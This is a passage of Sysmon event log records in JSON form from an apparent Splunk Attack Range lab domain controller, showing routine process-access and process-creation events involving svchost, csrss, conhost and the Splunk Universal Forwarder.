\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nTargetProcessId: 4564\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","TargetProcessId":"4564","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.093\r\nProcessGuid: {90617006-4078-5F2D-0000-00107EF80400}\r\nProcessId: 4884\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010BFF70400}\r\nParentProcessId: 4564\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.093","ProcessGuid":"{90617006-4078-5F2D-0000-00107EF80400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010BFF70400}","ParentProcessId":"4564","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010BFF70400}\r\nSourceProcessId: 4564\r\nSourceThreadId: 4712\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-00107EF80400}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010BFF70400}","SourceProcessId":"4564","SourceThreadId":"4712","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-00107EF80400}","TargetProcessId":"4884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-00107EF80400}\r\nTargetProcessId: 4884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-00107EF80400}","TargetProcessId":"4884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2975,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2976,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.086\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.086","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 